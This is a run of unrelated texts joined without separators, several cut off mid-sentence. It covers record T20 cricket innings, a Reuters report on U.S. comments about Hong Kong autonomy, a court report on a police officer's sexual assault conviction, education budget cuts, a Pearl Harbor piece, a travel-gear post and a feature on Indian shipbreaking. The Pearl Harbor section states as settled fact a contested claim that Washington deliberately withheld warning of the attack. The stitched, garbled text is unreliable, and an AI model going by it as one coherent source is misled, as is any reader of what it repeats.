The only international innings in this list was a gem. Having been sent in by England, Australia made a rapid start thanks to Finch, who drop-kicked opening bowler Steven Finn over backward square leg for six from the first ball he faced. Finch feasted on Finn, hitting the lanky quick for three boundaries in the paceman’s next over before the Victorian turned his attention to the very, very part-time off-spin of Joe Root. The short straight Pavilion End boundary of the Rose Bowl was peppered in the 10th over as Finch clobbered 26 runs off Root courtesy of three huge sixes, a four over cover and fortuitous edge to the third man boundary. In a blink of an eye Finch was in the nineties, and midway through the 14th over he sent Stuart Broad for his eighth six to bring up the first T20 international century in the United Kingdom. What followed was more carnage, as Finch clocked two sixes off Luke Wright (on the receiving end this time), and three sixes off left-arm spinner Danny Briggs in the 17th over. The blitzkrieg was terminated an over later when Finch dragged Jade Dernbach on to his middle stump to end a wonderful knock.
158no by Brendon McCullum
Warwickshire vs Derbyshire, Birmingham, July 2015
The numbers
Runs: 158 | Balls: 64 | Fours: 13 | Sixes: 11 | Strike rate: 246.87
The knock
Sent in by Derbyshire, McCullum put on a show for the Edgbaston faithful with his second T20 score in excess of 150. It took until the fourth over for McCullum to find the rope but he quickly made up for lost time, hitting seven boundaries (three sixes, four fours) in 13 balls. The former Black Caps captain reached his 50 in 23 balls and needed another 19 deliveries to reach triple figures. Melbourne Renegades seamer Nathan Rimmington was targeted by McCullum, though to be fair the entire Derby attack was in the Kiwi’s cross-hairs. Rimmington conceded three boundaries to McCullum in the 19th over, the last a scoop from outside off stump to bring up the batsman’s 150.
158no by Brendon McCullum
Kolkata Knight Riders vs Royal Challengers Bangalore, Bangalore, April 2008
The numbers
Runs: 158 | Balls: 73 | Fours: 10 | Sixes: 13 | Strike rate: 216.43
The knock
What a way to kick-start in the Indian Premier League! McCullum put his stamp on the lucrative competition its very first match, smashing the RCB bowlers to all parts of their home ground in a breathtaking display of power hitting. The glitz and the glamour was not lost on McCullum, who dazzled the packed house with 10 fours and 13 sixes. After three runs came from the first over, ‘Baz’ crunched three fours and a six in over No.2 to get the innings soaring. In terms of T20 half-centuries, McCullum’s 32-ball effort was rather sedate, and after 10 overs KKR were just 1-87. But in the 15th over the match fully swung the way of the visitors when McCullum took 16 off David Hussey before a two down the ground off Australian fast bowler Ashley Nofke the following over brought up the IPL’s maiden century. To cap off a wonderful innings, the right-hander hit five sixes and two fours from the final two overs to finish on 158no and set a towering benchmark in the fledgling competition.
162no by Hamilton Masakadza
Mashonaland Eagles vs Mountaineers, Bulawayo, February 2016
The numbers
Runs: 162 | Balls: 71 | Fours: 14 | Sixes: 11 | Strike rate: 228.16
The knock
A veteran of more than 250 international appearances for Zimbabwe, Masakadza proved why he’s a cut above domestic cricket with a blistering unbeaten 162 almost 12 months ago. Representing the Mountaineers, Masakadza hit four boundaries in his first eight balls to let his intent be known early on. In five separate overs the right-hander hit three boundaries as the Eagles found no way to cease the damage. His fifty came from 24 balls and his hundred followed just 21 deliveries later. Like every player on this list, the 32-year-old wasn’t finished at 100. Twenty-one runs came off the 16th over and 17 more followed in the 19th as he guided his side to an unbeateable 3-242.
175no by Chris Gayle
Royal Challengers Bangalore vs Pune Warriors, Bangalore, April 2013
The numbers
Runs: 175 | Balls: 66 | Fours: 13 | Sixes: 17 | Strike rate: 265.15
The knock
Who else but Christopher Henry Gayle? The self-proclaimed ‘Universe Boss’ put on a clinic in the sixth edition of the IPL, amassing an improbable, unthinkable yet incredible 175no in a single T20 innings. The carnage started in the second over when the brutish left-hander spanked five fours off the bowling of Ishwar Pandey. Deprived of the strike by Sri Lanka’s Tillakaratne Dlishan, Gayle took his frustration out on Australian allrounder Mitchell Marsh, who conceded four sixes and a four from his first over that cost 28 runs. At this point, Gayle had arrived at his half-century in just 17 deliveries. Three overs later the Jamaican repeated the damage, this time to another Australian in Aaron Finch, who was also smacked for 28. In the ninth over – the ninth over – Gayle launched Ashok Dinda out of the stadium to bring up his century in just 31 balls – the fastest ever in T20 cricket. After taking a few overs to compose himself, Gayle took 26 off the 15th over and combined with AB de Villiers for a quick-fire partnership of 44 from 15 balls. He finished the innings undefeated on 175 in a team total of 5-263. In reply, Pune were bowled out for 133, with Gayle capturing 2-5 from one over. Fair day out for Gayle.By Venus Wu
HONG KONG (Reuters) - The top U.S. diplomat in Hong Kong on Tuesday described as "unfortunate" Beijing's perceived interference last year, saying in a speech it had undermined public confidence in the territory's autonomy.
The former British colony, governed by China since 1997 under a "one country, two systems" formula that grants it a high degree of autonomy, was rocked last year by controversies that critics saw as signs of a squeeze by Beijing on its freedoms.
The year began with the disappearance of five Hong Kong booksellers, among them two British and Swedish passport holders, who were widely believed to have been abducted by Chinese security and held in custody on the mainland.
In November, China's parliament intervened in a Hong Kong court case that ultimately disqualified two pro-independence lawmakers for failing to take an official oath, by passing a ruling on the city's mini-constitution during the hearings.
"The unwarranted disappearance of the booksellers, as well as the unfortunate, preemptive interpretation of the Basic Law by the National People's Congress with respect to official oath-taking, have contributed to a sense among many in Hong Kong that Beijing may be losing sight of the importance of respecting Hong Kong's autonomy," Kurt W. Tong said in some of his strongest public comments since taking over as U.S. consul general five months ago.
The remarks came a day after the Hong Kong Bar Association kicked off the legal year with a warning that political expedience "must not be given precedence over the rule of law," referring to Beijing's intervention.
Tong, added, however, that he remained "hopeful" Beijing would respect Hong Kong's autonomy, urging Hong Kong residents to go ahead and tackle various issues of the day, and "spend less time worrying about what Beijing thinks".
Ten days before Donald Trump is inaugurated, Tong said he did not expect any major shift in the U.S.-China relationship, despite the U.S. president-elect's often critical Twitter remarks about China's economic, military and foreign policies.
"Overall, I would tend to expect more consistency than inconsistency in our approaches to the region, and that includes Hong Kong," Tong said of the incoming administration.
(This version of the story has been refiled to insert the envoy's dropped first name in paragraph 5)
(Reporting by Venus Wu and James Pomfret; Editing by Clarence Fernandez)Michael Pena in court March 15. View Full Caption DNAinfo/Theodore Parisienne
MANHATTAN SUPREME COURT — Police officer Michael Pena was convicted of a brutal gunpoint sexual assault against a 25-year-old teacher last year and could face life in prison, a Manhattan jury decided Tuesday.
After three days of deliberations a jury of eight men and four women convicted the 28-year-old Pena of three counts of predatory sexual assault and three counts criminal sex act on Monday.
Predatory sexual assault carries a maximum of 25 years to life in prison.
The victim, surrounded by friends and supporters, bent over and sobbed hysterically throughout parts of the jury's verdict reading.
The jury remained deadlocked on two counts of rape in the first degree, which required proof of sexual penetration for a conviction. Jurors were asked to continue deliberating on those charges. They were instructed to return Wednesday.
Prosecutors said Pena spent the early morning hours of Aug. 19, 2012 drinking at a Washington Heights club where he tried to take home a bartender and searched Craigslist for potential sexual hookups.
After the club closed he wandered the streets of Upper Manhattan until he spotted the victim and had a "stalker moment" in which he followed the woman and forced her to go to a nearby alley at gunpoint, Assistant District Attorney Evan Krutoy told jurors.
Terrified and fearing for her life, she offered Pena her cell phone, jewelry and wallet, hoping he would take the items and leave her alone.
Instead he ushered her along and she screamed for help.
"Shut the f--- up or I'll shoot you," the victim testified Pena told her.
Several neighbors witnessed what was happening and one woman, who was awakened to the lurid scene unfolding outsider her window, dialed 911 for help.
"Hi, there appears to be sex going on that is not consensual in the backyard of the house," the neighbor, Ann Bishop, told a 911 dispatcher.
Pena's attorney, Ephraim Savitt, argued that the cop was overcharged by prosecutors when they sought an indictment of rape in the first degree.
Savitt argued there was insufficent proof that there was penetration as definded by statute for rape.
There were six days of testimony before Manhattan Supreme Court Justice Richard Carruthers.
Inwood residents expressed some sense of relief.
"He's the one who's supposed to bring justice to people, but he committed the crime," said Michelle P., 34, a nurse who lives next door to where the incident took place. "He deserves to serve his time. Hopefully they get him for rape too."
She was still upset by the incident.
''It happened early in the morning," she said. "It was scary. It could've been me, anyone.''
Neil Orman, 41, a videographer, called it a "good thing" to convict a "bad seed" officer.
"Hopefully that discourages anyone else who would attack a woman," Orman said. ''It was very unsettling. Broad daylight on a nice street — you wouldn't expect that to happen.''
Maria Lizardo, deputy director of client services at the NMIC, an Upper Manhattan community based organization, said she and her staff have been watching this case carefully because of the impact it has had on the community.
When people in power "fall into a pattern of abuse and treat women as property, it is very scary," Lizardo said, "and causes [victims] not to go out and seek help if something happens. Women are afraid to go into the precinct for help."
She added: "As it is the culture of the police is not very victim-friendly. From the moment you enter the building, it’s like you have a big stop sign in front of you."
Lizardo's organization provides advocate services to ensure victims are assisted through the process of reporting a crime such as rape, she said. "It can be a very intimidating process."
With additional reporting by Trevor Kapp and Carla Zanoni.Education cuts may lead to U.S. brain drain EDUCATION
While California and other states cut higher education budgets, many countries are spending to boost the number and quality of their graduates, setting the stage for brain drains and brain gains as the global economy emerges from the Great Recession, according to a UC Berkeley research paper.
China, Taiwan, South Korea, Germany, France and Brazil are among the major industrial nations that have continued to boost education spending despite the recession, while the United Kingdom and Ireland have joined the United States in making cuts, said John Aubrey Douglass, who wrote the paper for Berkeley's Center for Studies in Higher Education.
"Over the last decade we have seen higher education elevated to a top policy concern in many nations, where it is seen as vital for economic development and competitiveness," Douglass said.
But the United States has lagged in this regard, partly because its higher education system is decentralized and controlled by state governments, whereas in many other nations the central government coordinates spending, Douglass said.
In economic downturns, some of these international competitors have chosen to borrow to fund education, whereas U.S. states generally can't engage in deficit spending.
In the current recession, this has led to steep higher education budget cuts in 34 states, including California, he said.
For years U.S. industrial and academic leaders have warned that the nation is losing its educational edge even as the world shifts to a knowledge-driven economy.
Members of the National Academies, the top U.S. scientific and engineering body, argued that point in a 2005 report, "Rising Above the Gathering Storm." This month, Joint Venture Silicon Valley Network, a public policy group, raised similar concerns with regard to the region's high-tech economy.
Douglass said that two decades ago the United States had the highest college graduation rate of any country in the Organization for Economic Cooperation and Development, a group of 30 top industrialized nations. Today it ranks 19th.
Recent cuts in higher education by cash-strapped states such as California won't help.
"One might postulate that the decisions made today and in reaction to the Great Recession... will likely accelerate global shifts in the race to develop human capital, with the U.S. losing ground," he wrote in a paper titled "Higher Education Budgets and the Global Recession," available at bit.ly/bnY4xp.On Sunday, December 7, 1941, Japan launched a sneak attack on the U.S. Pacific Fleet at Pearl Harbor, shattering the peace of a beautiful Hawaiian morning and leaving much of the fleet broken and burning. The destruction and death that the Japanese military visited upon Pearl Harbor that day — 18 naval vessels (including eight battleships) sunk or heavily damaged, 188 planes destroyed, over 2,000 servicemen killed — were exacerbated by the fact that American commanders in Hawaii were caught by surprise. But that was not the case in Washington.
Comprehensive research has shown not only that Washington knew in advance of the attack, but that it deliberately withheld its foreknowledge from our commanders in Hawaii in the hope that the "surprise" attack would catapult the U.S. into World War II. Oliver Lyttleton, British Minister of Production, stated in 1944: "Japan was provoked into attacking America at Pearl Harbor. It is a travesty of history to say that America was forced into the war."
Although FDR desired to directly involve the United States in the Second World War, his intentions sharply contradicted his public pronouncements. A pre-war Gallup poll showed 88 percent of Americans opposed U.S. involvement in the European war. Citizens realized that U.S. participation in World War I had not made a better world, and in a 1940 (election-year) speech, Roosevelt typically stated: "I have said this before, but I shall say it again and again and again: Your boys are not going to be sent into any foreign wars."
But privately, the president planned the opposite. Roosevelt dispatched his closest advisor, Harry Hopkins, to meet British Prime Minister Winston Churchill in January 1941. Hopkins told Churchill: "The President is determined that we [the United States and England] shall win the war together. Make no mistake about it. He has sent me here to tell you that at all costs and by all means he will carry you through, no matter what happens to him — there is nothing he will not do so far as he has human power." William Stevenson noted in A Man Called Intrepid that American-British military staff talks began that same month under "utmost secrecy," which, he clarified, "meant preventing disclosure to the American public." Even Robert Sherwood, the president's friendly biographer, said: "If the isolationists had known the full extent of the secret alliance between the United States and Britain, their demands for impeachment would have rumbled like thunder throughout the land."
Background to Betrayal
Roosevelt's intentions were nearly exposed in 1940 when Tyler Kent, a code clerk at the U.S. embassy in London, discovered secret dispatches between Roosevelt and Churchill. These revealed that FDR — despite contrary campaign promises — was determined to engage America in the war. Kent smuggled some of the documents out of the embassy, hoping to alert the American public — but was caught. With U.S. government approval, he was tried in a secret British court and confined to a British prison until the war's end.
During World War II's early days, the president offered numerous provocations to Germany: freezing its assets; shipping 50 destroyers to Britain; and depth-charging U-boats. The Germans did not retaliate, however. They knew America's entry into World War I had shifted the balance of power against them, and they shunned a repeat of that scenario. FDR therefore switched his focus to Japan. Japan had signed a mutual defense pact with Germany and Italy (the Tripartite Treaty). Roosevelt knew that if Japan went to war with the United States, Germany and Italy would be compelled to declare war on America — thus entangling us in the European conflict by the back door. As Harold Ickes, secretary of the Interior, said in October 1941: "For a long time I have believed that our best entrance into the war would be by way of Japan."
Much new light has been shed on Pearl Harbor through the recent work of Robert B. Stinnett, a World War II Navy veteran. Stinnett has obtained numerous relevant documents through the Freedom of Information Act. In Day of Deceit: The Truth about FDR and Pearl Harbor (2000), the book so brusquely dismissed by director Bruckheimer, Stinnett reveals that Roosevelt's plan to provoke Japan began with a memorandum from Lieutenant Commander Arthur H. McCollum, head of the Far East desk of the Office of Naval Intelligence. The memorandum advocated eight actions predicted to lead Japan into attacking the United States. McCollum wrote: "If by these means Japan could be led to commit an overt act of war, so much the better." FDR enacted all eight of McCollum's provocative steps — and more.
While no one can excuse Japan's belligerence in those days, it is also true that our government provoked that country in various ways — freezing her assets in America; closing the Panama Canal to her shipping; progressively halting vital exports to Japan until we finally joined Britain in an all-out embargo; sending a hostile note to the Japanese ambassador implying military threats if Tokyo did not alter its Pacific policies; and on November 26th — just 11 days before the Japanese attack — delivering an ultimatum that demanded, as prerequisites to resumed trade, that Japan withdraw all troops from China and Indochina, and in effect abrogate her Tripartite Treaty with Germany and Italy.
After meeting with President Roosevelt on October 16, 1941, Secretary of War Henry Stimson wrote in his diary: "We face the delicate question of the diplomatic fencing to be done so as to be sure Japan is put into the wrong and makes the first bad move — overt move." On November 25, the day before the ultimatum was sent to Japan's ambassadors, Stimson wrote in his diary: "The question was how we should maneuver them [the Japanese] into the position of firing the first shot...."
The bait offered Japan was our Pacific Fleet. In 1940, Admiral J.O. Richardson, the fleet's commander, flew to Washington to protest FDR's decision to permanently base the fleet in Hawaii instead of its normal berthing on the U.S. West Coast. The admiral had sound reasons: Pearl Harbor was vulnerable to attack, being approachable from any direction; it could not be effectively rigged with nets and baffles to defend against torpedo planes; and in Hawaii it would be hard to supply and train crews for his undermanned vessels. Pearl Harbor also lacked adequate fuel supplies and dry docks, and keeping men far from their families would create morale problems. The argument became heated. Said Richardson: "I came away with the impression that, despite his spoken word, the President was fully determined to put the United States into the war if Great Britain could hold out until he was reelected."
Richardson was quickly relieved of command. Replacing him was Admiral Husband E. Kimmel. Kimmel also informed Roosevelt of Pearl Harbor's deficiencies, but accepted placement there, trusting that Washington would notify him of any intelligence pointing to attack. This proved to be misplaced trust. As Washington watched Japan preparing to assault Pearl Harbor, Admiral Kimmel, as well as his Army counterpart in Hawaii, General Walter C. Short, were completely sealed off from the information pipeline.
Prior Knowledge
One of the most important elements in America's foreknowledge of Japan's intentions was our government's success in cracking Japan's secret diplomatic code known as "Purple." Tokyo used it to communicate to its embassies and consulates, including those in Washington and Hawaii. The code was so complex that it was enciphered and deciphered by machine. A talented group of American cryptoanalysts broke the code in 1940 and devised a facsimile of the Japanese machine. These, utilized by the intelligence sections of both the War and Navy departments, swiftly revealed Japan's diplomatic messages. The deciphered texts were nicknamed "Magic."
Copies of Magic were always promptly delivered in locked pouches to President Roosevelt, and the secretaries of State, War, and Navy. They also went to |
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Versace Wool Jeans
Would someone please make some good wool blend travel jeans? I search ebay constantly for another pair of these as a backup, and no more have popped up online. They are the best pants I've ever had, and I have no idea what I'll do when they finally wear out.
The key is the fabric. It's 80% wool, 18% nylon, and 2% elastene. This combination has proven to be incredibly durable, odor resistant, and comfortable. I literally have only one pair of pants, and I've been wearing them every day for the past year. They fray a little bit at the bottom, so I worry that they won't make it another year. Hopefully there will be something to replace them.
People always suggest synthetic pants to me as a replacement, but I am not willing to switch back. Synthetics are worse in every single way, despite the claims of those who market them.
I wish I could give you a good recommendation for pants to buy, but I can't. Other than these, which aren't available anywhere, I haven't tried any pants I can recommend.
If you know of a source of the fabric I describe above, please get in touch. I will make the pants happen.
Earth Runners Ultralight Sandals
Almost two years later, and I'm still wearing the same sandals. I do have a pair of Vibram Fivefinger leather boots that I use when riding my motorcycle, but unless I'm traveling somewhere very snowy, my only footwear is a pair of these Earth Runners. On my left heel I've worn a hole through that you could pass a silver dollar through, but it doesn't really bother me so I just keep wearing them.
I like the Earth Runners because they have zero drop, are as thin as they get, have a simple and reliable lacing system, and they look great. I actually get compliments on them and get asked where I got them more than any other item of clothing that I wear.
Even though I'm highly skeptical of any benefits of the copper inserts, I would still order a new pair with the inserts for the simple reason that they prevent static shocks. Plus the copper looks really cool.
Ultralight Sandals at Earth Runners
Mont Bell Plasma Down Jacket
I've been raving about my Mont Bell Ex-Light down jacket for years. I've had it so long now that I don't even remember when I bought it, and it's held up perfectly. That's almost a shame, because Mont Bell has come up with a new jacket that's even better, but not quite better enough to justify selling and rebuying.
The Plasma weighs only 4.8 ounces, compared to the 5.6 ounces of the Ex-Light. It packs down a little bit smaller, too. It uses less down, but higher fillpower, so it's roughly the same warmth, even though it's smaller.
I'm a sucker for smaller stuff, so if I were buying today, I'd buy the plasma. If you want to save a little bit of money, or if you already have an Ex-Light, it's still a perfectly amazing jacket.
Either one packs up tiny, weighs next to nothing, and can keep you warm even when skiing.
This is the only warm article of clothing I have now, since I'm trying to acclimatize myself to cold weather. My hair is long enough that I don't need a hat, and I've given up on gloves and scarves and stuff like that.
Mont Bell Plasma on Amazon - Mont Bell Ex-Light on Amazon
Marmot Mica OR Outdoor Research Helium II Rain Shell
I'm still wearing the Marmot Mica rain shell, but it's since been discontinued and the replacement, the Super Mica, is a little bit heavier. If I were buying again today, I'd get the Outdoor Research Helium II jacket, which weighs 10% less than the Mica, despite being very similar. I've owned Outdoor Research products in the past and found them to be excellent.
I very rarely wear a rain shell, but when I do it's because not having one would be miserable. I had twenty-four hours in Amsterdam a few months ago, and it rained so much that without a decent shell I would have stayed in my hotel all day. Since I don't wear it often, it's got to pack down tiny, which both of these do.
Outdoor Research Helium II on Amazon - Super Mica on Amazon
Ray-Ban Polarized Foldable Wayfarers
I'm still loving the sunglasses and I take them everywhere I go. They block a good amount of sun, are polarized (which cuts out most glare), look good, and fold down to a nice compact size. Not much room for improvement here.
If you don't care about polarization, they have a bunch of cool color options, but I'd rather have black on black with polarization. I actually gold-leafed the temples on mine, but it wore out and looked bad pretty quickly.
Polarized Folding Wayfarers on Amazon
Tom Bihn Synapse Backpack (for now...)
I'm still a huge fan of the Tom Bihn Synapse Backpack. Everything I said about it last year holds up: it's a great size, has excellent organization, top build quality, etc. If you're looking for a backpack in the 19-25 liter range, go with this one. It's 19 liters, but due to the excellent organization, it can hold a lot more than you think.
They also started making a 25 liter version of the pack this year. I haven't tried it personally, but it looks similar enough to the 19 liter that I imagine it's excellent. If you really can't fit into the 19L (you probably can), I'd go with this.
Despite the recommendation, I'm not using the Synapse 19 anymore. Why? Because I'm working on a custom "Life Nomadic" backpack with Brent Thacker. As you can see, my gear list has gotten shorter every year. When I travel with the Synapse, I have a ton of empty space. That can be handy, but whenever I can travel with less, I want to do so.
So we're building a 15 liter backpack designed specifically for minimalist travelers who use the pack both for travel and day-use. I've been using the first prototype for about two months now, and the second version is almost done. The pack has several features I came up with that have never been done in a backpack before, and which make it a real pleasure to use while traveling. Even though the first prototype needs work, I already love it and wouldn't want to give it up.
Once we settle on a final design we'll sell al limited run of 50 packs or so exclusively to my readers, and then maybe do a kickstarter run or something like that.
Synapse at Tom Bihn - Synapse 25 at Tom Bihn
Vapur Element Bottle
I have this ongoing fantasy that I'm going to brew tea as I travel and keep it warm, but in reality that doesn't happen, even when I have the proper equipment. Instead I just need a bottle to drink water from when working out, hiking, or taking a long flight or train ride.
The Vapur Element fits the bill perfectly. It weighs next to nothing, rolls up into a tiny little package, but holds.7 liters of water.
Vapur Element on Amazon
1980s Reissue Miniature Kem Cards
These are the only high quality miniature cards. They're made by Kem, who make all the cards for poker rooms across the world.
I know that you guys liked this recommendation last year, because I've been battling all of you on ebay to try to buy another deck. These cards were made briefly during World War II, and then again briefly in the 80s. You can tell when yours were made by looking at the three digit code on the ace of spades. The leather case of the 1940s one is awesome, but the newer decks tend to be in better condition. I use a 1987 deck with an old leather case.
These are only available on ebay. They used to go for around $25 per deck, but since I wrote about them it's more like $75-100. I only see 2-4 hit ebay per year, so get after it if you want a deck.
Search for Miniature Kem Cards on eBay
GoToob Containers
I use three GoToobs, one for Dr. Bronner's soap, one for shampoo, and another for toothpaste. In an ideal world I'd prefer squared off containers for more efficient packing, but barring that, these are pretty good. They don't leak, have good caps, and area easy to refill. I also bought one of their small pill containers for my vitamin D pills, but it's nothing special.
GoToob Three Pack on Amazon
Oral-B Pulsonic Electric Toothbrush
Finally an electric toothbrush that you can travel with! I've wanted something like this forever, but all of the Sonicare ones were so big that it wasn't worth it. The Oral-B Pulsonic is small enough that it can fit wherever a regular toothbrush fits, especially if you remove the head for travel. The batteries only last for two weeks, but its small size makes it passable as a regular toothbrush when the battery finally gives.
If it was chargeable by USB, that would make it perfect. I was going to try to modify it, but it's hard to access any of the electronics inside, and I really have no idea what I'm doing, so I gave up.
Pusonic Toothbrush on Amazon
Bucky 40 Blinks Sleep Mask
For those of you who have been reading my gear posts for a while, you might remember that I bought one of these on a lark many years ago, and got the pink and purple stripey one because it was a dollar less. I finally determined this year that it was worn out, and bought another one, spending the extra dollar to get a plain black one.
And... I lost it on the first trip and have gone back to my worn out pink one. I didn't like the new one as much as I liked the worn out one, so I guess they get better with age, as the foam breaks down a little bit. If you want to be able to manage your sleep schedule across time zones, having a good sleep mask like this is essential.
40 Blinks Sleep Mask on Amazon
Hearos Xtreme Protection Ear Plugs
These may be cheap and tiny, but they make all the difference sometimes. On a recent cruise I went on I was fortunate enough to get the room directly over the blaringly-loud disco. I was driven half-mad by the noise, but would have gone fully insane if I didn't have the Hearos to cut out most of the noise. Soft and comfortable, these plugs block more sound than any other earplug.
Hearos Xtreme on Amazon
Carbon Fiber Designs Koolstof Money Clip
The Koolstof money clip is the ultimate minimalist traveler's wallet. I load it up with whatever few cards I need and some cash, and then forget it's in my pocket. Because it's a money clip and not a wallet, any size currency fits in it.
This money clip is a classic example of minimalist perfection-- there's just not that much to say about it because it does everything you'd hope for, and nothing more. It's non-metallic, so you can waltz right through metal detectors with it.
Koolstof Money Clip at Carbon Fiber Designs
Moons Monegallet
I don't think this thing is actually available for sale anywhere, but I'm showing it just in case you see one somewhere (Japan) and want to grab one. It adds two power outlets to any AC adapter, which is incredibly useful when combined with a universal adapter like the Kikkerland.
Icebreaker Tracer Running Shorts
I have an older but very similar version of these. They're great for working out and running, or just having something to wear when you're washing your single pair of pants. I do wish they had at least one real pocket for keys and gym card, but going without isn't so tough.
Icebreaker Tracer Running Shorts
Hilarious Bathing Suit by Pistol Pete
My favorite belted bathing suit from Speedo became discontinued, so I was forced to wade through all sorts of horrifying web sites to find another similarly funny bathing suit. For reasons I can't explain, besides being small and packable, my criteria for a bathing suit is that it's as hilarious as possible. They aren't available anymore, but the pair I have is faux denim with a pink belt. It makes me look like a never-nude (Arrested Development reference...).
Here's a similar pair on Amazon in a lovely plaid pattern.
That's It...
I finally got my pack down to under ten pounds total. The exact weight isn't important, but having something that light makes it very easy and efficient to travel all over the place on any timetable by any method available.
Travel gear continues to get better every year, thanks to technology improving and smaller companies filling in the gaps using platforms like Kickstarter. The one big thing we need now are good 80%+ wool jeans. Icebreaker has some pants that look more like sweatpants, and there are all sorts of synthetic options, but nothing compares to these impossible-to-find Versace jeans I'm wearing.
I'll keep you updated on the new backpack we're working on. I'm very excited for people to use it, but with awesome bags like the Synapse available, we really have to make it excellent before we can release it.
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Many of the links here are affiliate links, including the Amazon ones. Buying gear through those links helps support this site, and specifically, makes me more likely to buy more gear to test for the next gear post.
I also sometimes get free or discounted products from companies. Sometimes they offer me a discount, and sometimes I ask for a discount. I turn down free products if I wouldn't have bought them with my own money.
Neither the links nor discounts I might get affect my reviews or recommendations, but some people won't believe that, so I'd rather be up front about it.
Also, I'm calling this the 2014 gear post instead of 2013, because it's intended for purchases in 2014. Plus it makes me seem like I'm early rather than late :)At Alang, in India, on a six-mile stretch of oily, smoky beach, 40,000 men tear apart half of the world's discarded ships, each one a sump of toxic waste. Environmentalists in the West are outraged. The shipbreakers, of course, want to be left alone -- and maybe they should be.
SHIP Captain Vivek A. Pandey thought he could have been a fighter pilot. Because his father had flown for the British before Indian independence, Pandey felt he had flying in his blood. When he was a young man, he took the Indian Pilot's Aptitude Test and astonished the examiners with his spatial orientation, his instinct for flight instruments, and the sureness of his reactions. They saw what he already knew -- that he was born with the cool. So when he then went to sea, he was not running away but making a choice. He explained it to me with a rhyme, "from aviation to navigation," as if the two were nearly the same. For seventeen years afterward Pandey ploughed the oceans in cargo ships and tankers, under many flags. He became a captain and lived aboard his vessels in master's quarters, some of which seemed to him as luxurious as hotel suites. He visited Norfolk, Savannah, Long Beach, and all the big ports of Europe. He liked the tidiness and power of a ship's command, but eventually he got married and felt the pull of domesticity. And so, nine years ago, after the birth of a daughter, he settled in the state of Gujarat, on India's far-western shore. I found him there last winter, in the black hours before dawn, on a beach called Alang -- a shoreline strewn with industrial debris on the oily Gulf of Cambay, part of the Arabian Sea. I'd been warned that Pandey would resent my presence and see me as a meddlesome Westerner. But he gave no sign of that now. He was a sturdy, middle-aged merchant captain wearing clean khakis, sneakers, and a baseball cap. Outwardly he was a calm, businesslike mariner with a job to do. He stood among a group of diffident, rougher-looking men, some in traditional lungis and turbans, and accepted offers to share their coconut meat and tea. He checked his watch. He looked out across the dark sea. A high tide had raised the ocean's level by thirty feet, bringing the waterline a quarter mile inland and nearly to the top of the beach. In the blackness offshore two ships lay at anchor, visible only by their masthead lights. The first was a 515-foot general-cargo vessel named the Pioneer 1, which hailed from St. Vincent, in the Caribbean. Pandey raised a two-way radio to his lips and, calling himself "Alang Control," said, "Okay, Pioneer One, heave up your anchor, heave up your anchor." The Pioneer's captain acknowledged the order in thickly accented English. "Roger. Heave up anchor." To me Pandey said, "We'll start off." He radioed the ship to turn away from the coast and gather speed. "You make one-six-zero degrees, full ahead. What is your distance from the ship behind you?" "Six cables, six cables." "Okay, you make course one-six-zero, full ahead." The masthead lights began to creep through the night. When the captain reported that the ship was steady on the outbound course, Pandey ordered hard starboard rudder. He said, "Let me know your course every ten degrees." The answer came back shortly: "One-seven-zero, Pioneer One." The turn was under way. "One-eight-zero, Pioneer One." I had to imagine, because I could not see, that great mass of steel trembling under power and swinging toward the shore in the hands of its crew. The captain called the changing courses with tension in his voice. I got the impression he had not done this before. But Pandey was nonchalant. He gazed at silhouettes of sheds that were at the top of the beach. He sipped his tea. The radio said, "One-nine-zero... two-zero-zero... two-one-zero." Pandey began talking about the Pilot's Aptitude Test that he had taken years before. He said, "It's a test for which you can appear only once in your lifetime. Either you have the aptitude to be a pilot or you don't, so it is a one-time course in a lifetime. And very interesting..." "Two-two-zero." On that test, using mechanical controls, Pandey had kept a dot within the confines of a 1.5-inch moving square. Now, using a hand-held radio, he was going to ram the Pioneer, a ship with a beam of seventy-five feet, into a plot on the beach merely ninety-eight feet wide. It was presumptuous of him, and he knew it. I admired his cool. The lights of the ship grew closer. The radio said, "Two-three-zero." Pandey said, "Okay, Captain, you are ballasting, no?" "Yes, sir, we are ballasting. Ballasting is going on." "Very good, please continue." The numbers counted up. At "three-one-zero," with the Pioneer now close offshore, Pandey finally showed some emotion. Raising his voice, he said, "Okay, make three-two-zero, steady her. Okay, now you give maximum revolution, Captain! Give maximum revolution!" I went down to the water's edge. The Pioneer came looming out of the darkness, thrashing the ocean's surface with its single screw, raising a large white bow wake as it rushed toward the beach. I could make out the figures of men peering forward from the bridge and the bow. Now the sound of the bow wave, like that of a waterfall, drowned the drumming of the engine. A group of workers who had been standing nearby scattered to safety. I stayed where I was. Pandey joined me. The Pioneer kept coming. It was caught by an inshore current that carried it briefly to the side. Then the keel hit the bottom, and the ship drove hard onto the flooded beach, carried by its weight, slowing under full forward power until the rudder no longer functioned and the hull veered out of control and slid to a halt not a hundred yards from where we stood. Anchors the size of cars rattled down the sides and splashed into the shallows. The engine stopped, the lights switched off in succession from bow to stern, and abruptly the Pioneer lay dark and still. I know that a ship is an inanimate object, but I cannot deny that at that moment the Pioneer did die. It had been built in Japan in 1971, and had wandered the world under various owners and names -- Cosmos Altair, Zephyrus, Bangkok Navee, Normar Pioneer. And now, as I stood watching from the beach, it became a ferrous corpse -- in Indian law as well as in practice no longer a ship but just a mass of imported steel. The seamen who lingered aboard, probing the dead passageways with their flashlight beams, were waiting for the tide to go out, so that they could lower a rope ladder, climb down the side, and walk away on dry ground. The new owner would have his workers start cutting the corpse in the morning. I asked Pandey if he found this sad, and he answered emphatically that he did not. He was a powerful state official in a nation of powerful officials: he was the port officer of Alang, a man who rode in a chauffeured car with a state emblem on the hood, and it was important to him to appear rational at all times. But the truth, I thought later, might even be that he enjoyed these ship killings. He told me that during his tenure he had personally directed every one -- altogether several thousand by now -- and he took me along to his next victim, a small cargo vessel also from the Caribbean, which he had already sent speeding toward its destruction. He was proud of his efficiency. He mentioned a personal record of seven ships in succession. He was Pandey the ace, a champion executioner. Then dawn spread across his gargantuan landscape -- Alang, in daylight barely recognizable as a beach, a narrow, smoke-choked industrial zone six miles long, where nearly 200 ships stood side by side in progressive stages of dissection, yawning open to expose their cavernous holds, spilling their black innards onto the tidal flats, and submitting to the hands of 40,000 impoverished Indian workers. A narrow, roughly paved frontage road ran along the top of the beach, parallel to the ocean. It was still quiet at dawn, although a few battered trucks had arrived early, and were positioning themselves now for the day's first loads of steel scrap. On the ocean side the frontage road was lined by the metal fences that defined the upper boundaries of the 183 shipbreaking yards at Alang. The fences joined together into an irregular scrap-metal wall that ran intermittently for most of the beach, and above which the bows of ships rose in succession like giants emerging from the sea. Night watchmen were swinging the yard gates open now, 